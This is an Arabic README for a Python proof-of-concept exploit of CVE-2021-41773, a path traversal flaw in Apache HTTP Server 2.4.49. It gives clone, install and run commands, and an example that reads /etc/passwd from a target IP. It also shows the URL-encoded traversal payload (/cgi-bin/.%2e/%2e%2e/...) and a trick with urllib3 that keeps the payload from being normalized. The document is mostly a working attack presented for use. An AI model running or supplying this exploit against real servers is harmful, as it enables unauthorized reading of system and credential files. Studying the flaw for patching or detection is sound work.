
استغلال ببايثون لثغرة CVE-2021-41773 - ثغرة اجتياز المسار في Apache HTTP Server 2.4.49
استغلال مكتوب بلغة بايثون لثغرة CVE-2021-41773، وهي ثغرة عبور مسار في خادم Apache HTTP Server 2.4.49 تسمح بقراءة ملفات عشوائية من الخادم.
CVE-2021-41773 هي ثغرة عبور مسار في خادم Apache HTTP Server 2.4.49 تحدث بسبب التحقق غير السليم من المسارات التي يوفرها المستخدم. تسمح هذه الثغرة للمهاجمين بقراءة ملفات خارج جذر المستندات باستخدام تسلسلات عبور مسار مشفرة بالـ URL.
git clone https://github.com/blu3ming/PoC-CVE-2021-41773
cd PoC-CVE-2021-41773
pip install -r requirements.txt
python3 cve-2021-41773.py -t <target> -f <file_path>
-t, --target: عنوان URL الهدف (ضمّن البروتوكول والمنفذ عند الحاجة)-f, --file: مسار الملف المطلوب قراءته من الخادم# Read /etc/passwd
python3 cve-2021-41773.py -t http://192.168.1.100:443 -f /etc/passwd

يستخدم الاستغلال تسلسلات عبور المسار المشفرة بالـ URL (.%2e/%2e%2e/) لتجاوز تحقق Apache من المسار:
.%2e) تتجاوز فحوصات الأمان الأوليةالمفتاح هنا هو استخدام urllib3.PoolManager() بدلاً من requests.get() لمنع التطبيع التلقائي للـ URL الذي قد يفسد الاستغلال.
# The exploit URL structure:
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/{target_file}
المكافئ له هو:
/cgi-bin/../../../../{target_file}